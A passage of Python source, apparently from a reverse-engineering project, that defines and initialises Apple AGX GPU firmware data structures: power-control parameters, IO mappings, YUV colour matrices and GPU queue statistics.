self.pwr_proportional_gain = sgx.getprop("gpu-pwr-proportional-gain", 5.2831855) self.pad_67c = 0 self.pwr_pstate_related_k = -self.max_pstate_scaled / chip_info.max_power self.pwr_pstate_max_dc_offset = sgx.gpu_pwr_min_duty_cycle - self.max_pstate_scaled self.unk_688 = 0 self.max_pstate_scaled_2 = self.max_pstate_scaled self.pad_690 = 0 self.unk_694 = 0 self.max_power_2 = chip_info.max_power self.pad_69c = bytes(0x18) self.unk_6b4 = 0 self.unk_6b8_0 = bytes(0x10) self.max_pstate_scaled_3 = self.max_pstate_scaled self.unk_6bc = 0 self.pad_6c0 = bytes(0x14) # Note: integer rounding here ppm_filter_tc_periods = sgx.gpu_ppm_filter_time_constant_ms // period_ms self.ppm_filter_tc_periods_x4 = ppm_filter_tc_periods * 4 self.unk_6d8 = 0 self.pad_6dc = 0 self.ppm_filter_a_neg = 1 - 1 / ppm_filter_tc_periods self.pad_6e4 = 0 self.ppm_filter_a = 1 - self.ppm_filter_a_neg self.pad_6ec = 0 self.ppm_ki_dt = sgx.gpu_ppm_ki * (period_ms / 1000) self.pad_6f4 = 0 self.pwr_integral_min_clamp_2 = self.pwr_integral_min_clamp if Ver.check("V >= V13_0B4") or chip_info.chip_id != 0x8103: self.unk_6fc = 65536.0 else: self.unk_6fc = 0 self.ppm_kp = sgx.gpu_ppm_kp self.pad_704 = 0 self.unk_708 = 0 self.pwr_min_duty_cycle = sgx.gpu_pwr_min_duty_cycle self.max_pstate_scaled_4 = self.max_pstate_scaled self.unk_714 = 0 self.pad_718 = 0 self.unk_71c = 0.0 self.max_power_3 = chip_info.max_power self.cur_power_mw_2 = 0x0 # Note: integer rounding ppm_filter_tc_periods = sgx.gpu_ppm_filter_time_constant_ms // period_ms ppm_filter_tc_ms_round = ppm_filter_tc_periods * period_ms self.ppm_filter_tc_ms = sgx.gpu_ppm_filter_time_constant_ms self.unk_72c = 0 self.ppm_filter_tc_clks = ppm_filter_tc_ms_round * base_clock_khz self.unk_730_4 = 0 self.unk_730_8 = 0 self.unk_730_c = 0 self.unk_730 = 0.0 self.unk_734 = 0 self.unk_738 = 0 self.unk_73c = 0 self.unk_740 = 0 self.unk_744 = 0 self.unk_748 = [0.0, 0.0, 0.0, 0.0] self.unk_758 = 0 self.perf_tgt_utilization = sgx.gpu_perf_tgt_utilization self.pad_760 = 0 self.perf_boost_min_util = sgx.getprop("gpu-perf-boost-min-util", 100) self.perf_boost_ce_step = sgx.getprop("gpu-perf-boost-ce-step", 25) self.perf_reset_iters = sgx.getprop("gpu-perf-reset-iters", 6) self.pad_770 = 0x0 self.unk_774 = 6 self.unk_778 = 1 self.perf_filter_drop_threshold = sgx.gpu_perf_filter_drop_threshold self.perf_filter_a_neg = 1 - 1 / sgx.gpu_perf_filter_time_constant self.perf_filter_a2_neg = 1 - 1 / sgx.gpu_perf_filter_time_constant2 self.perf_filter_a = 1 - self.perf_filter_a_neg self.perf_filter_a2 = 1 - self.perf_filter_a2_neg self.perf_ki = sgx.getprop("gpu-perf-integral-gain", 7.895683288574219) self.perf_ki2 = sgx.gpu_perf_integral_gain2 self.perf_integral_min_clamp = sgx.gpu_perf_integral_min_clamp self.unk_79c = 95.0 self.perf_kp = sgx.getprop("gpu-perf-proportional-gain", 14.707962989807129) self.perf_kp2 = sgx.gpu_perf_proportional_gain2 base_state = sgx.getprop("gpu-perf-base-pstate", 3) max_state = sgx.gpu_num_perf_states boost_states = max_state - base_state self.boost_state_unk_k = boost_states / 0.95 self.base_pstate_scaled_2 = 100 * sgx.getprop("gpu-perf-base-pstate", 3) self.max_pstate_scaled_5 = self.max_pstate_scaled self.base_pstate_scaled_3 = 100 * sgx.getprop("gpu-perf-base-pstate", 3) self.pad_7b8 = 0x0 self.perf_cur_utilization = 0.0 self.perf_tgt_utilization_2 = sgx.gpu_perf_tgt_utilization self.pad_7c4 = bytes(0x18) self.unk_7dc = 0x0 self.unk_7e0_0 = bytes(0x10) self.base_pstate_scaled_4 = 100 * sgx.getprop("gpu-perf-base-pstate", 3) self.pad_7e4 = 0x0 self.unk_7e8 = bytes(0x14) self.unk_7fc = 65536.0 self.pwr_min_duty_cycle_2 = sgx.gpu_pwr_min_duty_cycle self.max_pstate_scaled_6 = self.max_pstate_scaled self.max_freq_mhz = sgx.perf_states[sgx.gpu_num_perf_states].freq // 1000000 self.pad_80c = 0x0 self.unk_810 = 0x0 self.pad_814 = 0x0 self.pwr_min_duty_cycle_3 = sgx.gpu_pwr_min_duty_cycle self.unk_81c = 0x0 self.pad_820 = 0x0 self.min_pstate_scaled_4 = 100.0 self.max_pstate_scaled_7 = self.max_pstate_scaled self.unk_82c = 0x0 self.unk_alpha_neg = 0.8 self.unk_alpha = 1 - self.unk_alpha_neg self.unk_838 = 0x0 self.unk_83c = 0x0 self.pad_840 = bytes(0x2c) self.unk_86c = 0x0 self.fast_die0_sensor_mask64 = chip_info.gpu_fast_die0_sensor_mask64 self.fast_die1_sensor_mask64 = chip_info.gpu_fast_die1_sensor_mask64 self.fast_die0_release_temp_cc = 100 * sgx.getprop("gpu-fast-die0-release-temp", 80) self.unk_87c = chip_info.unk_87c self.unk_880 = 0x4 self.unk_884 = 0x0 self.pad_888 = 0x0 self.unk_88c = 0x0 self.pad_890 = 0x0 self.unk_894 = 1.0 self.pad_898 = 0x0 self.fast_die0_ki_dt = sgx.gpu_fast_die0_integral_gain * (period_ms / 1000) self.pad_8a0 = 0x0 self.unk_8a4 = 0x0 self.unk_8a8 = 65536.0 self.fast_die0_kp = sgx.gpu_fast_die0_proportional_gain self.pad_8b0 = 0x0 self.unk_8b4 = 0x0 self.pwr_min_duty_cycle_4 = sgx.gpu_pwr_min_duty_cycle self.max_pstate_scaled_8 = self.max_pstate_scaled self.max_pstate_scaled_9 = self.max_pstate_scaled self.fast_die0_prop_tgt_delta = 100 * sgx.getprop("gpu-fast-die0-prop-tgt-delta", 0) self.unk_8c8 = 0 self.unk_8cc = chip_info.unk_8cc self.pad_8d0 = bytes(0x14) self.unk_8e4_0 = bytes(0x10) self.unk_8e4 = 0 self.unk_8e8 = 0 self.max_pstate_scaled_10 = self.max_pstate_scaled self.unk_8f0 = 0 self.unk_8f4 = 0 self.pad_8f8 = 0 self.pad_8fc = 0 self.unk_900 = bytes(0x24) self.unk_924 = chip_info.unk_924 self.unk_a24 = chip_info.unk_924 self.unk_b24 = bytes(0x70) self.max_pstate_scaled_11 = self.max_pstate_scaled self.freq_with_off = 0x0 self.unk_b9c = 0 self.unk_ba0 = 0 self.unk_ba8 = 0 self.unk_bb0 = 0 self.unk_bb4 = 0 self.pad_bb8 = bytes(0x74) self.unk_c2c = 1 self.power_zones = [PowerZone()] * 5 power_zone_count = 0 for i in range(5): if sgx.getprop(f"gpu-power-zone-target-{i}", None) is None: break self.power_zones[i] = PowerZone( sgx.getprop(f"gpu-power-zone-filter-tc-{i}", None), sgx.getprop(f"gpu-power-zone-target-{i}", None), sgx.getprop(f"gpu-power-zone-target-offset-{i}", None), period_ms ) power_zone_count += 1 self.power_zone_count = power_zone_count self.max_power_4 = chip_info.max_power self.max_power_5 = chip_info.max_power self.max_power_6 = chip_info.max_power self.unk_c40 = 0 self.unk_c44 = 0.0 self.avg_power_target_filter_a_neg = 1 - 1 / sgx.gpu_avg_power_target_filter_tc self.avg_power_target_filter_a = 1 / sgx.gpu_avg_power_target_filter_tc self.avg_power_target_filter_tc_x4 = 4 * sgx.gpu_avg_power_target_filter_tc self.avg_power_target_filter_tc_xperiod = period_ms * sgx.gpu_avg_power_target_filter_tc self.avg_power_target_filter_tc_clks = period_ms * sgx.gpu_avg_power_target_filter_tc * base_clock_khz self.unk_c58_4 = 0 # Note: integer rounding avg_power_filter_tc_periods = sgx.gpu_avg_power_filter_tc_ms // period_ms gpu_avg_power_filter_tc_ms_round = avg_power_filter_tc_periods * period_ms self.avg_power_filter_tc_periods_x4 = avg_power_filter_tc_periods * 4 self.unk_cfc = 0 self.unk_d00 = 0 self.avg_power_filter_a_neg = 1 - 1 / avg_power_filter_tc_periods self.unk_d08 = 0 self.avg_power_filter_a = 1 - self.avg_power_filter_a_neg self.unk_d10 = 0 self.avg_power_ki_dt = sgx.gpu_avg_power_ki_only * (period_ms / 1000) self.unk_d18 = 0 self.unk_d1c = 0 self.unk_d20 = 65536.0 self.avg_power_kp = sgx.gpu_avg_power_kp self.unk_d28 = 0 self.unk_d2c = 0 self.avg_power_min_duty_cycle = sgx.gpu_avg_power_min_duty_cycle self.max_pstate_scaled_12 = self.max_pstate_scaled self.max_pstate_scaled_13 = self.max_pstate_scaled self.unk_d3c = 0 self.max_power_7 = chip_info.max_power self.max_power_8 = chip_info.max_power self.unk_d48 = 0 self.avg_power_filter_tc_ms = sgx.gpu_avg_power_filter_tc_ms self.unk_d50 = 0 self.avg_power_filter_tc_clks = gpu_avg_power_filter_tc_ms_round * base_clock_khz self.unk_d54_4 = bytes(0xc) self.unk_d54 = bytes(0x10) self.max_pstate_scaled_14 = self.max_pstate_scaled self.unk_d68 = bytes(0x24) self.t81xx_data = AGXHWDataT81xx(sgx, chip_info) self.unk_dd0 = bytes(0x40) self.unk_e10_pad = bytes(0x10) self.unk_e10_0 = AGXHWDataA130Extra(chip_info, period_ms, self.max_pstate_scaled, sgx) self.unk_e10 = bytes(0xc) self.fast_die0_sensor_mask64_2 = chip_info.gpu_fast_die0_sensor_mask64 self.fast_die1_sensor_mask64_2 = chip_info.gpu_fast_die1_sensor_mask64 self.unk_e24 = chip_info.unk_e24 self.unk_e28 = 1 self.unk_e2c = bytes(0x1c) self.unk_e48 = chip_info.unk_e48 self.unk_f48 = chip_info.unk_e48 self.pad_1048 = bytes(0x5e4) self.fast_die0_sensor_mask64_alt = chip_info.gpu_fast_die0_sensor_mask64_alt self.fast_die1_sensor_mask64_alt = chip_info.gpu_fast_die1_sensor_mask64_alt self.fast_die0_sensor_present = chip_info.gpu_fast_die0_sensor_present self.unk_163c = 1 self.unk_1640 = bytes(0x2000) self.unk_3640 = 0 self.unk_3644 = 0 self.hws1 = AGXHWDataShared1(chip_info) self.hws2 = AGXHWDataShared2(sgx, chip_info) if Ver.check("G >= G14X"): self.unk_hws2 = [0 if i == 0xffff else i // 2 for i in self.hws2.unk_38.curve2.t1] else: self.unk_hws2 = [0] * 16 self.unk_3c00 = 0 self.unk_3c04 = 0 self.hws3 = AGXHWDataShared3(chip_info) self.unk_3c58 = bytes(0x3c) self.unk_3c94 = 0 # flag self.unk_3c98 = 0 # timestamp? self.unk_3ca0 = 0 # timestamp? self.unk_3ca8 = 0 self.unk_3cb0 = 0 self.ts_last_idle = 0 self.ts_last_poweron = 0 self.ts_last_poweroff = 0 self.unk_3cd0 = 0 self.unk_3cd8 = 0 self.unk_3ce0_0 = 0 self.unk_3ce0 = 0 self.unk_3ce4 = 0 self.unk_3ce8 = 1 self.unk_3cec = 0 self.unk_3cf0 = 0 self.unk_3cf4 = chip_info.unk_3cf4 self.unk_3d14 = chip_info.unk_3d14 self.unk_3d34_0 = chip_info.unk_3d34_0 self.unk_3d34 = bytes(0x38) self.unk_3d6c = bytes(0x38) class IOMapping(ConstructClass): _MAPTYPE = { 0: "RO", 1: "RW", } subcon = Struct( "phys_addr" / Int64ul, "virt_addr" / Int64ul, "size" / Int32ul, "range_size" / Int32ul, # Usually the same as size, but for MCC, this is the size of a single MMC register range. "readwrite" / Int64ul ) def __init__(self, phys=0, addr=0, size=0, range_size=0, readwrite=0): self.phys_addr = phys self.virt_addr = addr self.size = size self.range_size = range_size self.readwrite = readwrite def __str__(self): if self.virt_addr == 0: return "\n" try: hv = self._stream.uat.hv except AttributeError: hv = None if hv: dev, range = hv.device_addr_tbl.lookup(self.phys_addr) offset = self.phys_addr - range.start return f"\nIO Mapping: {self._MAPTYPE.get(self.readwrite, self.readwrite)} {self.virt_addr:#x} -> " \ f"{dev}+{offset:#x} = {self.phys_addr:#x} ({self.size:#x} / {self.range_size:#x})" else: return f"\nIO Mapping: {self._MAPTYPE.get(self.readwrite, self.readwrite)} {self.virt_addr:#x} -> " \ f"{self.phys_addr:#x} = {self.phys_addr:#x} ({self.size:#x} / {self.range_size:#x})" class AGXHWDataB(ConstructClass): subcon = Struct( Ver("V < V13_0B4", "unk_0" / Int64ul), "unk_8" / Int64ul, Ver("V < V13_0B4", "unk_10" / Int64ul), "unk_18" / Int64ul, "unk_20" / Int64ul, "unk_28" / Int64ul, "unk_30" / Int64ul, "unkptr_38" / Int64ul, "pad_40" / HexDump(Bytes(0x20)), Ver("V < V13_0B4", "yuv_matrices" / Array(15, Array(3, Array(4, Int16sl)))), Ver("V >= V13_0B4", "yuv_matrices" / Array(63, Array(3, Array(4, Int16sl)))), "pad_1c8" / HexDump(Bytes(8)), Ver("V < V13_0B4", "io_mappings" / Array(0x14, IOMapping)), Ver("V >= V13_0B4 && V < V13_3", "io_mappings" / Array(0x17, IOMapping)), Ver("V >= V13_3 && V < V13_5B4", "io_mappings" / Array(0x18, IOMapping)), Ver("V >= V13_5B4", "io_mappings" / Array(0x19, IOMapping)), Ver("V >= V13_0B4", "sgx_sram_ptr" / Int64ul), "chip_id" / Int32ul, "unk_454" / Int32ul, "unk_458" / Int32ul, "unk_45c" / Int32ul, "unk_460" / Int32ul, "unk_464" / Int32ul, "unk_468" / Int32ul, "unk_46c" / Int32ul, "unk_470" / Int32ul, "unk_474" / Int32ul, "unk_478" / Int32ul, "unk_47c" / Int32ul, "unk_480" / Int32ul, "unk_484" / Int32ul, "unk_488" / Int32ul, "unk_48c" / Int32ul, "base_clock_khz" / Int32ul, "power_sample_period" / Int32ul, "pad_498" / ZPadding(4), "unk_49c" / Int32ul, "unk_4a0" / Int32ul, "unk_4a4" / Int32ul, "pad_4a8" / ZPadding(4), "unk_4ac" / Int32ul, "pad_4b0" / ZPadding(8), "unk_4b8" / Int32ul, "unk_4bc" / ZPadding(4), "unk_4c0" / Int32ul, "unk_4c4" / Int32ul, "unk_4c8" / Int32ul, "unk_4cc" / Int32ul, "unk_4d0" / Int32ul, "unk_4d4" / Int32ul, "unk_4d8" / ZPadding(4), "unk_4dc" / Int32ul, "unk_4e0" / Int64ul, "unk_4e8" / Int32ul, "unk_4ec" / Int32ul, "unk_4f0" / Int32ul, "unk_4f4" / Int32ul, "unk_4f8" / Int32ul, "unk_4fc" / Int32ul, "unk_500" / Int32ul, Ver("V >= V13_0B4", "unk_504_0" / Int32ul), "unk_504" / Int32ul, "unk_508" / Int32ul, "unk_50c" / Int32ul, "unk_510" / Int32ul, "unk_514" / Int32ul, "unk_518" / Int32ul, "unk_51c" / Int32ul, "unk_520" / Int32ul, "unk_524" / Int32ul, "unk_528" / Int32ul, "unk_52c" / Int32ul, "unk_530" / Int32ul, "unk_534" / Int32ul, "unk_538" / Int32ul, Ver("V >= V13_0B4", "unk_53c_0" / Int32ul), "num_frags" / Int32ul, "unk_540" / Int32ul, "unk_544" / Int32ul, "unk_548" / Int32ul, "unk_54c" / Int32ul, "unk_550" / Int32ul, "unk_554" / Int32ul, "gpu_region_base" / Int64ul, "gpu_core" / Int32ul, "gpu_rev" / Int32ul, "num_cores" / Int32ul, "max_pstate" / Int32ul, Ver("V < V13_0B4", "num_pstates" / Int32ul), "frequencies" / Array(16, Dec(Int32ul)), "voltages" / Array(16, Array(8, Dec(Int32ul))), "voltages_sram" / Array(16, Array(8, Dec(Int32ul))), Ver("V >= V13_3", "unk_9f4_0" / ZPadding(64)), "unk_9b4" / Array(16, Float32l), "unk_9f4" / Array(16, Int32ul), "rel_max_powers" / Array(16, Dec(Int32ul)), "rel_boost_freqs" / Array(16, Dec(Int32ul)), Ver("V >= V13_3", "unk_arr_0" / Array(32, Int32ul)), Ver("V < V13_0B4", "min_sram_volt" / Dec(Int32ul)), Ver("V < V13_0B4", "unk_ab8" / Int32ul), Ver("V < V13_0B4", "unk_abc" / Int32ul), Ver("V < V13_0B4", "unk_ac0" / Int32ul), Ver("V >= V13_0B4", "cs_max_pstate" / Int32ul), Ver("V >= V13_0B4", "cs_frequencies" / Array(16, Dec(Int32ul))), Ver("V >= V13_0B4", "cs_voltages" / Array(16, Array(2, Dec(Int32ul)))), Ver("V >= V13_0B4", "cs_voltages_sram" / Array(16, Array(2, Dec(Int32ul)))), Ver("V >= V13_0B4", "cs_unkpad" / Int32ul), Ver("V >= V13_0B4", "afr_max_pstate" / Int32ul), Ver("V >= V13_0B4", "afr_frequencies" / Array(8, Dec(Int32ul))), Ver("V >= V13_0B4", "afr_voltages" / Array(8, Array(2, Dec(Int32ul)))), Ver("V >= V13_0B4", "afr_voltages_sram" / Array(8, Array(2, Dec(Int32ul)))), Ver("V >= V13_0B4", "afr_unkpad" / Int32ul), Ver("V >= V13_3", "pad_ac4_0" / ZPadding(0x44c)), "pad_ac4" / ZPadding(8), "unk_acc" / Int32ul, "unk_ad0" / Int32ul, "pad_ad4" / ZPadding(16), "unk_ae4" / Array(4, Int32ul), "pad_af4" / ZPadding(4), "unk_af8" / Int32ul, "unk_afc" / Int32ul, "unk_b00" / Int32ul, "unk_b04" / Int32ul, "unk_b08" / Int32ul, "unk_b0c" / Int32ul, Ver("G >= G14X", "pad_b10_0" / ZPadding(8)), "unk_b10" / Int32ul, "pad_b14" / ZPadding(8), "unk_b1c" / Int32ul, "unk_b20" / Int32ul, "unk_b24" / Int32ul, "unk_b28" / Int32ul, "unk_b2c" / Int32ul, "unk_b30" / Int32ul, "unk_b34" / Int32ul, Ver("V >= V13_0B4", "unk_b38_0" / Int32ul), Ver("V >= V13_0B4", "unk_b38_4" / Int32ul), Ver("V >= V13_3", "unk_b38_8" / Int32ul), "unk_b38" / Array(6, Int64ul), "unk_b68" / Int32ul, Ver("V >= V13_0B4", "unk_b6c" / HexDump(Bytes(0xd0))), Ver("G >= G14X", "unk_c3c_0" / Default(HexDump(Bytes(0x8)), bytes(0x8))), Ver("G < G14X && V >= V13_5B4", "unk_c3c_8" / Default(HexDump(Bytes(0x10)), bytes(0x10))), Ver("V >= V13_5B4", "unk_c3c_10" / Default(HexDump(Bytes(0x20)), bytes(0x20))), Ver("V >= V13_0B4", "unk_c3c" / Int32ul), ) def __init__(self, sgx, chip_info): # Userspace VA map related self.unk_0 = 0x13_00000000 self.unk_8 = 0x14_00000000 self.unk_10 = 0x1_00000000 self.unk_18 = 0xffc00000 self.unk_20 = 0x11_00000000 self.unk_28 = 0x11_00000000 # userspace address? self.unk_30 = 0x6f_ffff8000 self.pad_40 = bytes(0x20) # unmapped? self.unkptr_38 = 0xffffffa0_11800000 self.pad_1c8 = bytes(8) # Note: these are rounded poorly, need to recompute. self.yuv_matrices = [ [ # BT.601 full range -> RGB [ 0x2000, -0x8, 0x2cdb, -0x2cd3], [ 0x2000, -0xb00, -0x16da, 0x21da], [ 0x2000, 0x38b6, 0x8, -0x38be], ], [ # BT.709 full range -> RGB [ 0x2000, -0x1, 0x3264, -0x3263], [ 0x2000, -0x5fe, -0xefb, 0x14f9], [ 0x2000, 0x3b61, 0x1, -0x3b62], ], [ # BT.2020 full range -> RGB [ 0x2000, 0x0, 0x2f30, -0x2f30], [ 0x2000, -0x544, -0x1248, 0x178c], [ 0x2000, 0x3c34, -0x1, -0x3c33], ], [ # BT.601 limited range -> RGB [ 0x2568, -0x9, 0x3343, -0x37e7], [ 0x2568, -0xc92, -0x1a1e, 0x2203], [ 0x2568, 0x40cf, 0x9, -0x4585], ], [ # BT.709 limited range -> RGB [ 0x2568, -0x1, 0x3997, -0x3e43], [ 0x2568, -0x6d9, -0x111f, 0x134b], [ 0x2568, 0x43dd, 0x1, -0x488b], ], [ # BT.2020 limited range -> RGB [ 0x2568, 0x0, 0x35ee, -0x3a9b], [ 0x2568, -0x604, -0x14e5, 0x163c], [ 0x2568, 0x44ce, -0x1, -0x497a], ], [ # Unknown YUV->RGB [ 0x24cb, 0x0, 0x2cfa, -0x3676], [ 0x24cb, -0xb0a, -0x16e9, 0x1877], [ 0x24cb, 0x38d9, 0x0, -0x4255], ], [ # null [ 0x0, 0x0, 0x0, 0x0], [ 0x0, 0x0, 0x0, 0x0], [ 0x0, 0x0, 0x0, 0x0], ], [ # RGB -> BT.601 full range [ 0x2645, 0x4b23, 0xe98, 0x0], [-0x15a1, -0x2a5e, 0x3fff, 0x4000], [ 0x4000, -0x35a2, -0xa5e, 0x4000], ], [ # RGB -> BT.709 full range [ 0x1b37, 0x5b8c, 0x93d, 0x0], [ -0xeac, -0x3155, 0x4000, 0x4000], [ 0x4000, -0x3a24, -0x5dd, 0x4000], ], [ # RGB -> BT.2020 full range [ 0x21a0, 0x56c9, 0x797, 0x0], [-0x11de, -0x2e22, 0x4000, 0x4000], [ 0x4000, -0x3adb, -0x526, 0x4000], ], [ # RGB -> BT.601 limited range [ 0x20bd, 0x4047, 0xc7c, 0x800], [-0x12ed, -0x2513, 0x3800, 0x4000], [ 0x3800, -0x2eee, -0x912, 0x4000], ], [ # RGB -> BT.709 limited range [ 0x1748, 0x4e51, 0x7e7, 0x800], [ -0xcd6, -0x2b2a, 0x3800, 0x4000], [ 0x3800, -0x32df, -0x521, 0x4000], ], [ # RGB -> BT.2020 limited range [ 0x1cc4, 0x4a3e, 0x67e, 0x800], [ -0xfa3, -0x285e, 0x3800, 0x4000], [ 0x3800, -0x337f, -0x481, 0x4000], ], [ # Unknown (identity?) [-0x8000, 0x0, 0x0, 0x0], [ 0x0, -0x8000, 0x0, 0x0], [ 0x0, 0x0, -0x8000, 0x0], ], ] if Ver.check("V >= V13_0B4"): self.yuv_matrices = [ *self.yuv_matrices[:8], *(24 * [[[0,0,0,0]]*3]), *self.yuv_matrices[8:], *(24 * [[[0,0,0,0]]*3]), ] self.unk_450_0 = bytes(0x68) self.chip_id = chip_info.chip_id self.unk_454 = 0x1 self.unk_458 = 0x1 self.unk_45c = 0x0 self.unk_460 = 0x1 self.unk_464 = 0x1 self.unk_468 = 0x1 self.unk_46c = 0x0 self.unk_470 = 0x0 self.unk_474 = 0x0 self.unk_478 = 0x0 self.unk_47c = 0x1 self.unk_480 = 0x0 self.unk_484 = 0x1 self.unk_488 = 0x0 self.unk_48c = 0x1 self.base_clock_khz = 24000 self.power_sample_period = sgx.gpu_power_sample_period self.unk_49c = 0x1 self.unk_4a0 = 0x1 self.unk_4a4 = 0x1 self.unk_4ac = 0x0 self.unk_4b8 = 0x0 self.unk_4c0 = 0x1f self.unk_4c4 = 0x0 self.unk_4c8 = 0x0 self.unk_4cc = 0x0 self.unk_4d0 = 0x0 self.unk_4d4 = 0x0 self.unk_4dc = 0x0 self.unk_4e0 = chip_info.hwdb_4e0 self.unk_4e8 = 0x0 self.unk_4ec = 0x0 self.unk_4f0 = 0x1 self.unk_4f4 = 0x1 self.unk_4f8 = 0x0 self.unk_4fc = 0x0 self.unk_500 = 0x0 self.unk_504_0 = 0 self.unk_504 = 0x31 self.unk_508 = 0x0 self.unk_50c = 0x0 self.unk_510 = 0x0 self.unk_514 = 0x0 self.unk_518 = 0x0 self.unk_51c = 0x0 self.unk_520 = 0x0 self.unk_524 = 0x1 # use_secure_cache_flush self.unk_528 = 0x0 self.unk_52c = 0x0 self.unk_530 = 0x0 self.unk_534 = chip_info.hwdb_534 self.unk_538 = 0x0 self.unk_53c_0 = 0 self.num_frags = chip_info.num_cores self.unk_540 = 0x0 self.unk_544 = 0x0 self.unk_548 = 0x0 self.unk_54c = 0x0 self.unk_550 = 0x0 self.unk_554 = 0x1 self.gpu_region_base = sgx.gpu_region_base self.gpu_core = chip_info.gpu_core self.gpu_rev = chip_info.gpu_rev self.num_cores = chip_info.num_cores self.max_pstate = sgx.gpu_num_perf_states self.num_pstates = sgx.gpu_num_perf_states + 1 self.frequencies = [0] * 16 self.voltages = [[0] * 8 for i in range(16)] self.voltages_sram = [[0] * 8 for i in range(16)] self.unk_9b4 = [0.] * 16 self.unk_9f4 = [0] * 16 self.rel_max_powers = [0] * 16 self.rel_boost_freqs = [0] * 16 self.unk_arr_0 = list(range(16)) + [0] * 16 self.cs_unkpad = 0 self.afr_unkpad = 0 self.min_sram_volt = chip_info.min_sram_volt self.unk_ab8 = chip_info.hwdb_ab8 self.unk_abc = chip_info.hwdb_abc self.unk_ac0 = 0x1020 self.unk_ac4_0 = bytes(0x1f0) self.unk_acc = 0x0 self.unk_ad0 = 0x0 if Ver.check("V >= V13_0B4"): self.unk_ae4 = [0x0, 0x3, 0x7, 0x7] else: self.unk_ae4 = [0x0, 0xf, 0x3f, 0x3f] self.unk_af8 = 0x0 self.unk_afc = 0x0 self.unk_b00 = 0x0 self.unk_b04 = 0x0 self.unk_b08 = 0x0 self.unk_b0c = 0x0 self.unk_b10 = 0x1 self.unk_b1c = 0x0 self.unk_b20 = 0x0 self.unk_b24 = 0x1 self.unk_b28 = 0x1 self.unk_b2c = 0x1 self.unk_b30 = chip_info.hwdb_b30 self.unk_b34 = 0x0 self.unk_b38_0 = 1 self.unk_b38_4 = 1 self.unk_b38_8 = 0 self.unk_b38 = [0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff, 0xffffffffffffffff] self.unk_b68 = 0x0 self.unk_b6c = bytes(0xd0) if Ver.check("V >= V13_3"): self.unk_c3c = 0x1a else: self.unk_c3c = 0x19 class BufferMgrCtl(ConstructClass): subcon = Struct( "unk_0" / Int32ul, "unk_4" / Int32ul, "unk_8" / Int32ul, "unk_c" / Int32ul, ) def __init__(self): self.unk_0 = 0 self.unk_4 = 0 self.unk_8 = 0 self.unk_c = 0 class InitData_BufferMgrCtl(ConstructClass): subcon = Struct( "array" / Array(127, BufferMgrCtl) ) def __init__(self): self.array = [BufferMgrCtl() for i in range(127)] class InitData_GPUQueueStatsTA(ConstructClass): subcon = Struct( "busy" / Int32ul, "unk_4" / Int32ul, "cur_cmdqueue" / Int64ul, "cur_count" / Int32ul, "unk_14" / Int32ul, ) def __init__(self): self.unk_0 = bytes(0x18) self.busy = 0 self.unk_4 = 0 self.cur_cmdqueue = 0 self.cur_count = 0 self.unk_14 = 0 self.unk_18 = bytes(0x50) class InitData_GPUStatsTA(ConstructClass): subcon = Struct( "unk_4" / Int32ul, Ver("G < G14X", "queues" / Array(4, InitData_GPUQueueStatsTA)), Ver("G >= G14X", "queues" / Array(8, InitData_GPUQueueStatsTA)), "unk_68" / Bytes(0x8), "unk_70" / Int32ul, "unk_74" / Int32ul, Ver("V >= V13_0B4", "unk_c0" / HexDump(Bytes(0x558))), "unk_timestamp" / Array(16, Int64ul), "unk_80" / HexDump(Bytes(0x40)), Ver("G >= G14X", "unk_684" / HexDump(Bytes(0x800))), ) def __init__(self): self.unk_4 = 0 if Ver.check("G >= G14X"): self.queues = [InitData_GPUQueueStatsTA() for i in range(8)] else: self.queues = [InitData_GPUQueueStatsTA() for i in range(4)] self.unk_68 = bytes(0x8) self.unk_70 = 0 self.unk_74 = 0 self.unk_timestamp = [0]*16 self.unk_80 = bytes(0x40) self.unk_c0 = bytes(0x558) self.unk_684 = bytes(0x800) class InitData_GPUQueueStats3D(ConstructClass): subcon = Struct( "busy" / Int32ul, Ver("V >= V13_0B4", ZPadding(4)), "cur_cmdqueue" / Int64ul, "unk_c" / Int32ul, "unk_10" / Int32ul, "unk_14" / HexDump(Bytes(0x10)), Ver("V < V13_0B4", ZPadding(4)), ) def __init__(self): self.busy = 0 self.cur_cmdqueue = 0 self.unk_c = 0 self.unk_10 = 0 self.unk_14 = bytes(0x10) class InitData_GPUStats3D(ConstructClass): subcon = Struct( "unk_0" / Bytes(0x18), Ver("G >= G14X", "unk_d0_0" / Default(HexDump(Bytes(0x50)), bytes(0x50))), Ver("G < G14X", "queues" / Array(4, InitData_GPUQueueStats3D)), Ver("G >= G14X", "queues" / Array(8, InitData_GPUQueueStats3D)), Ver("G >= G14X", "unk_d0_0" / Default(HexDump(Bytes(0x820)), bytes(0x820))), "unk_d0" / HexDump(Bytes(0x38)), "tvb_overflows_1" / Int32ul, "tvb_overflows_2" / Int32ul, "unk_f8" / Int32ul, "unk_fc" / Int32ul, "cur_stamp_id" / Int32sl, "unk_104" / Bytes(0x14), "unk_118" / Int32sl, "unk_11c" / Int32ul, "unk_120" / Int32ul, "unk_124" / Int32ul, "unk_128" / Int32ul, "unk_12c" / Int32ul, "unk_timestamp" / Int64ul, "unk_138" / Bytes(0x1c0 - 0x138), Ver("V >= V13_0B4", "unk_1c0" / HexDump(Bytes(0x580))), ) def __init__(self): self.unk_0 = bytes(0x18) if Ver.check("G >= G14X"): self.queues = [InitData_GPUQueueStats3D() for i in range(8)] else: self.queues = [InitData_GPUQueueStats3D() for i in range(4)] self.unk_68 = 0 self.cur_cmdqueue = 0 self.unk_d0 = bytes(0x38) self.tvb_overflows_1 = 0 self.tvb_overflows_2 = 0 self.unk_f8 = 0 self.unk_fc = 0 self.cur_stamp_id = -1 self.unk_104 = bytes(0x14) self.unk_118 = -1 self.unk_11c = 0 self.unk_120 = 0 self.unk_124 = 0 self.unk_128 = 0 self.unk_12c = 0 self.unk_timestamp = 0 self.unk_138 = bytes(0x1c0 - 0x138) self.unk_1c0 = bytes(0x580) class InitData_GPUGlobalStatsTA(ConstructClass): subcon = Struct( "total_cmds" / Int32ul, "stats" / InitData_GPUStatsTA, ) def __init__(self): self.total_cmds = 0 self.stats = InitData_GPUStatsTA() class InitData_GPUGlobalStats3D(ConstructClass): subcon = Struct( "total_cmds" / Int32ul, "unk_4" / Int32ul, "stats" / InitData_GPUStats3D, ) def __init__(self): self.total_cmds = 0 self.unk_4 = 0 self.stats = InitData_GPUStats3D() class InitData_RegionB(ConstructClass): subcon = Struct( "channels" / ChannelInfoSet, "pad_110" / ZPadding(0x50), "unk_160" / Default(Int64ul, 0), "unk_168" / 